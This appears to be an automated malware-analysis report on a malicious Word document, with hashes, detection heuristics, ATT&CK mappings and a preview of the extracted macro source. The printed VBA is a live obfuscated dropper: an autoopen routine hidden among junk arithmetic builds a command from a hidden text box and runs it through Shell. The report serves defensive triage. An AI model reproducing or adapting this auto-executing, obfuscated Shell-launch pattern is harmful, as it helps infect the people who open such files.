Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ddab96b4fa0b2db7…

MALICIOUS

Office (OLE)

87.4 KB Created: 2018-12-17 10:58:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: ed500b0bc2835c93efa369c2b2a8ecc4 SHA-1: fb5428e245b0316499806f0c674b7ac14b27a3e7 SHA-256: ddab96b4fa0b2db7f94cb63c5fdfbc164706f7bb074234c7393948f67ea3bdd9
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and triggers the execution of obfuscated VBA code. Heuristics indicate the use of Shell() calls and references to cmd.exe and PowerShell, suggesting an attempt to execute arbitrary commands. The VBA code is heavily obfuscated, making it difficult to determine the exact payload, but the presence of these indicators strongly suggests a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6786424-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6786424-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          iKHzFKSJUCVrClWPHlNWR = 9569849 - VEwYYqjYjsrarjIjLKiv
njOrQCMM = Array(RdhltJmtS, dlwKLfjz, CLjGb, Interaction.Shell(DvJKrP, CPsmcPTRbLi), QPJjZhMX)
   cctGVpiFMRsaDr = dvEWFGoplopBRYhoNaCdA * Rnd(339676539 / Sin(rDZLChroSrzEjpzrzn)) / Wfd + Int(254136733 - Rnd(52580463 - Tan(115201151) * 206898634 - Cos(MhidfzBNkiYMSfumHuAWJS)) / 128480932 * Sin(5822447 / Tan(333409922) / 101758284 / Hex(228886460))) + 31373186 + CStr(277779667) - 93500941 / CLng(287096077) * 36777109 - Fix(80308505 - Hex(102378337) * 87247999 / ChrW(XELoRdPaHcfLCAiNRIiu / 92126245))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
XCULBczV
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8342 bytes
SHA-256: 0db7224e549700b1733017489ae1c76cb0a746edc6cb3f7af60d49fec71ed0e2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
115 of 148 identifiers look randomly generated (e.g. 'wplbLmPkXdwozHoNbnVJhJZT') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VwBrjdOJBjEu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
XCULBczV
End Sub

Attribute VB_Name = "CEtNIbnKLmoiC"
Function XCULBczV()
On Error Resume Next
   tzpNnQSOOubaNros = aTYZlXOjscvnrwbQu * Rnd(153386829 / Sin(rpjGzKbXbjITMPGzdbnHaa)) / Wfd + Int(213207815 - Rnd(309048325 - Tan(264728301) * 148114407 - Cos(WwAKTUzBbqMbOKznAkI)) / 233243896 * Sin(157432789 / Tan(243896684) / 333596377 / Hex(330641557))) + 269151360 + CStr(41285442) - 101575203 / CLng(99391545) * 107128244 - Fix(59272809 - Hex(267377455) * 118628132 / ChrW(jEZaVozNNiGQAZzanjK / 209049408))
      ClzCVNFjlSBuAiFZMivJVK = 40853271 - iohRoccdmnjTZYAbtdcMFVz
   hMmwGBmXuGYKlVHsuO = HOIsqJwijLZIKOX * Rnd(35976728 / Sin(CpSlODUIzdCwwa)) / Wfd + Int(2947305 - Rnd(291317788 - Tan(164689016) * 78926254 - Cos(YTvnISDMUwNwNPG)) / 273161126 * Sin(29731651 / Tan(312303224) / 151276746 / Hex(295289327))) + 77427976 + CStr(266660108) - 236224114 / CLng(296520881) * 210394725 - Fix(312811938 - Hex(249935372) * 255967606 / ChrW(ZQlCPhjGCKSLqzKjhojql / 315558008))
      CTvjjCHMjQcvhctwiZiCkEhV = 267389845 - JwGFwwdTjjTzzDuzlvO
   TGrjhMtWjrVLFzJu = kJciXruShQwiWkqq * Rnd(310947878 / Sin(SzpYWjatrctmhjVtPHEj)) / Wfd + Int(311794217 - Rnd(104462707 - Tan(321315227) * 115847990 - Cos(wurKGiVKRrvVLm)) / 315451004 * Sin(20958274 / Tan(198012445) / 340971906 / Hex(122092265))) + 162207955 + CStr(310755424) - 229483543 / CLng(101101156) * 63851780 - Fix(188295974 - Hex(139661755) * 231569742 / ChrW(OkCCYYamjjkzYcQraXDUI / 195280234))
      QisFNiihlvjvjoszn = 82071701 - UuPUASSXjEROckTm
   XlYfzTLPrwpTnhhFGMkiqU = vHKWwfmjEvsYwjGwZq * Rnd(151424712 / Sin(nCqoCGKIRbdwDPdXo)) / Wfd + Int(322435307 - Rnd(99706858 - Tan(236485684) * 31348015 - Cos(lYuJjWANLsTBitRWT)) / 277509926 * Sin(137632851 / Tan(203689266) / 97938129 / Hex(188196283))) + 117559006 + CStr(315701304) - 139056596 / CLng(227983865) * 39553632 - Fix(226808069 - Hex(65668924) * 189341235 / ChrW(nNWQSutXoHEQldBhkGS / 192278218))
      PZCIGwoAQSDiQjnMcwc = 173162575 - jXKMjSTBVbrzCYoTHL
   wplbLmPkXdwozHoNbnVJhJZT = SOKNRjWJmQSORJAQkYijU * Rnd(205663234 / Sin(jtFawsOnPStsXF)) / Wfd + Int(151832845 - Rnd(38135122 - Tan(325275628) * 186064039 - Cos(MqWzJdUszkujNnKdUMFX)) / 112889826 * Sin(153783397 / Tan(194968810) / 18000088 / Hex(314046998))) + 160326066 + CStr(109037238) - 191298517 / CLng(72376446) * 86602312 - Fix(123907903 - Hex(220758640) * 50501481 / ChrW(SNKtvzizRCVijFNbCtsEOp / 83865777))
      DlNrhkSNbXUwTaRItR = 40545273 - hNsKPjKZpCbcBrqKjmR
Const CPsmcPTRbLi = 0
   AHdbwlOmhRACYiViVWAM = zIzqdkqhzMmvwTZ * Rnd(195260055 / Sin(QQFfmhBQUmzdQLTqWDwfk)) / Wfd + Int(123512621 - Rnd(11426953 - Tan(158535763) * 31887604 - Cos(FNGaKwElGkGcKavZJwtEj)) / 8773637 * Sin(125828658 / Tan(39282848) / 179957536 / Hex(107868664))) + 175297280 + CStr(329156384) - 337139467 / CLng(327342793) * 96783763 - Fix(223072432 - Hex(177403320) * 30860716 / ChrW(oKtbBYiFjjusYkKIDiAw / 24803696))
      AzuVGmIVYBGwGPQWsjEwjWj = 157064197 - NooKDaGYuJuhfS
   tcDpTmARoWraFjHoSjk = IEXjETnIbbuizoTXSWTwcS * Rnd(37909680 / Sin(mqAfJvMvZXRpFWkzzrq)) / Wfd + Int(86554869 - Rnd(183472443 - Tan(82193702) * 177741971 - Cos(NkWwMlNpwzuOSHzfO)) / 336709367 * Sin(35334024 / Tan(185863138) / 153743842 / Hex(195715928))) + 117827738 + CStr(311816344) - 245734609 / CLng(126278391) * 339330885 - Fix(244163918 - Hex(189555216) * 293697166 / ChrW(ZPjSYYQinJcrHcWhssKwcHwt / 235745972))
      bLtmcMFzUwjoaHzQR = 122134055 - mKSOlHsStVSQpiFzFoBhPlI
   XUjvunJcYDBjGdVkZE = XprqDMuorFIjrCcZYYoiHJ * Rnd(128418469 / Sin(uDkVfIjvTIiijdfiAwSWP)) / Wfd + Int(134294804 - Rnd(67424600 - Tan(219069747) * 192875685 - Cos(wLkahOWJvAcZJi)) / 146870220 * Sin(88072414 / Tan(103439505) / 232314337 / Hex(154285484))) + 328873124 + CStr(299182540) - 309432274 / CLng(295971377) * 39718163 - Fix(199133231 - Hex(62351947) * 285725710 / ChrW(SasDsbMXKtaQIXhiGaojACEa / 64784264))
      KBSiwYWZqVIZhhWwCWIG = 271499957 - NOzDUHwQVRtMRKFfzC
   dVAAEziGFMjBZqCIcI = pkwnNMjpViKMqpzm * Rnd(273743338 / Sin(WVGizkoKRjXrmofmAmfinoU)) / Wfd + Int(64476811 - Rnd(60516637 - Tan(162012381) * 312290656 - Cos(pMcDMQFnGHlNzCuzSdvVhEoL)) / 49633103 * Sin(49848651 / Tan(30054421) / 222518180 / Hex(3607530))) + 319626990 + CStr(166949049) - 175094387 / CLng(270041589) * 266824261 - Fix(137086975 - Hex(37020060) * 50187348 / ChrW(iVisjtBRiluUrfcZSl / 154285004))
      vFLYmJhKYLhoswwam = 270438532 - vJpZTnfFtzPVjiqXZJK
DvJKrP = VwBrjdOJBjEu.TextBox1.Text + qtXDF + kGEnMJpw + jCmdNcGG + aYQcj + TwBPiCL + RXijiFwb + csVFkRuR + lKuLs + icCEt + CkkMoMTK + hwcARI + tFJRwJN
   ilQjcXIoijzKEWFRYbGnm = KpINciTPRXndjhL * Rnd(104593688 / Sin(jGJlGWqKnYYnnUWvZabbOvi)) / Wfd + Int(141846017 - Rnd(121541822 - Tan(100055956) * 171793516 - Cos(bnXFIiWjcXDTRDoFuc)) / 197799219 * Sin(20561747 / Tan(109878516) / 224883213 / Hex(64013749))) + 46386786 + CStr(241754235) - 265875712 / CLng(199383013) * 266846512 - Fix(188905682 - Hex(265865018) * 123377900 / ChrW(wTiABSiEzqSCWIKLGYaqlWG / 298521750))
      QVUEiDoEMWzUnEcwZFaP = 50172600 - ciThENcGZNpXkzJzPndzK
   OnCVEocLDATDlatrL = BYImOLrLoCSOOaU * Rnd(73191010 / Sin(zjpVCoRKjwjIhoVqwDv)) / Wfd + Int(39827438 - Rnd(179345772 - Tan(164440930) * 285224577 - Cos(tAaspmsjawtHVkzjrcfP)) / 69322084 * Sin(15430199 / Tan(46456244) / 89776115 / Hex(326635965))) + 158672616 + CStr(101303427) - 152092577 / CLng(165961274) * 33363573 - Fix(6736972 - Hex(172248363) * 290458605 / ChrW(cBNYUzDzhiuNUOEL / 98881251))
      tbTqtNvRWVKVzTPKHzVSHiMM = 134135220 - TkDASNqCjQslIAdDahn
   nGSqEiqjpnwslRUIm = kjOhBZTcqYmjSw * Rnd(201848237 / Sin(BOVNDAibzEnBIuD)) / Wfd + Int(241979318 - Rnd(165790154 - Tan(111592005) * 105476441 - Cos(AFFtWboStGVAOiQ)) / 42798859 * Sin(256606412 / Tan(162891709) / 1846892 / Hex(241102529))) + 327844274 + CStr(253716058) - 239750876 / CLng(321112555) * 249898792 - Fix(121826819 - Hex(136134008) * 317526907 / ChrW(BKBiYFvJbrcLPhqjmn / 194969030))
      wzAQfIOVIHEGrzswTSpY = 133906801 - LhXYhEtMzfrSXDJkDPraATmW
   zFLOGusBHhFXWQCuYrCLu = wdqdRBWvqSkAurjjvKX * Rnd(90240996 / Sin(PZKPsVWSAuimWGhXddqiMqm)) / Wfd + Int(257502337 - Rnd(149544239 - Tan(142674079) * 75031196 - Cos(rwsnjkjEjNZfzdqYG)) / 87788037 * Sin(155789345 / Tan(242732216) / 335652267 / Hex(58354273))) + 115060201 + CStr(218288980) - 213767634 / CLng(230061221) * 206472881 - Fix(162086346 - Hex(253082518) * 153071844 / ChrW(WKIaECqGlWcrQDLiiAOjJwa / 101404519))
      iKHzFKSJUCVrClWPHlNWR = 9569849 - VEwYYqjYjsrarjIjLKiv
njOrQCMM = Array(RdhltJmtS, dlwKLfjz, CLjGb, Interaction.Shell(DvJKrP, CPsmcPTRbLi), QPJjZhMX)
   cctGVpiFMRsaDr = dvEWFGoplopBRYhoNaCdA * Rnd(339676539 / Sin(rDZLChroSrzEjpzrzn)) / Wfd + Int(254136733 - Rnd(52580463 - Tan(115201151) * 206898634 - Cos(MhidfzBNkiYMSfumHuAWJS)) / 128480932 * Sin(5822447 / Tan(333409922) / 101758284 / Hex(228886460))) + 31373186 + CStr(277779667) - 93500941 / CLng(287096077) * 36777109 - Fix(80308505 - Hex(102378337) * 87247999 / ChrW(XELoRdPaHcfLCAiNRIiu / 92126245))
      iQRwXWmTADSQPDiLFfCs = 295510037 - kWBpjioDkSQtZvXVFt
   IRQdbXGfJfJulPzsRTYhQjO = RidiJwwfYFNMWKICDZu * Rnd(95189341 / Sin(jdpKGQjNtibCsMwtbWMidVjB)) / Wfd + Int(247464021 - Rnd(143988113 - Tan(46555636) * 74540596 - Cos(irmAZhBoTCjQSfamJi)) / 333122183 * Sin(79319356 / Tan(57168274) / 181142784 / Hex(19726945))) + 221263501 + CStr(210295123) - 133716360 / CLng(87106929) * 322607253 - Fix(263388439 - Hex(164261029) * 241983524 / ChrW(VrOnpBTivFITjSL / 281704483))
      ObrIzNCoEUFUEAu = 118854017 - vaQmzHKUQDTjANIWqZ
   vXHdMMnTcvjaRLidPcn = nWjEtjdJLdWMQYCqTUNJmdbr * Rnd(214555194 / Sin(fzvVqGDtkZqCkc)) / Wfd + Int(232761148 - Rnd(196354470 - Tan(56009080) * 338062315 - Cos(UKtIoJvPiLKuoXsEdOq)) / 251169774 * Sin(106122002 / Tan(58109832) / 151781188 / Hex(259969043))) + 189095410 + CStr(339085421) - 111682718 / CLng(236438979) * 241552417 - Fix(170520942 - Hex(55047122) * 135144390 / ChrW(SMplqHLvqZhafBfrXFPS / 86892541))
      LnGjosLiEDqRWLC = 122256334 - HiqZjpNzzlsMUsCPJBCfKS
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.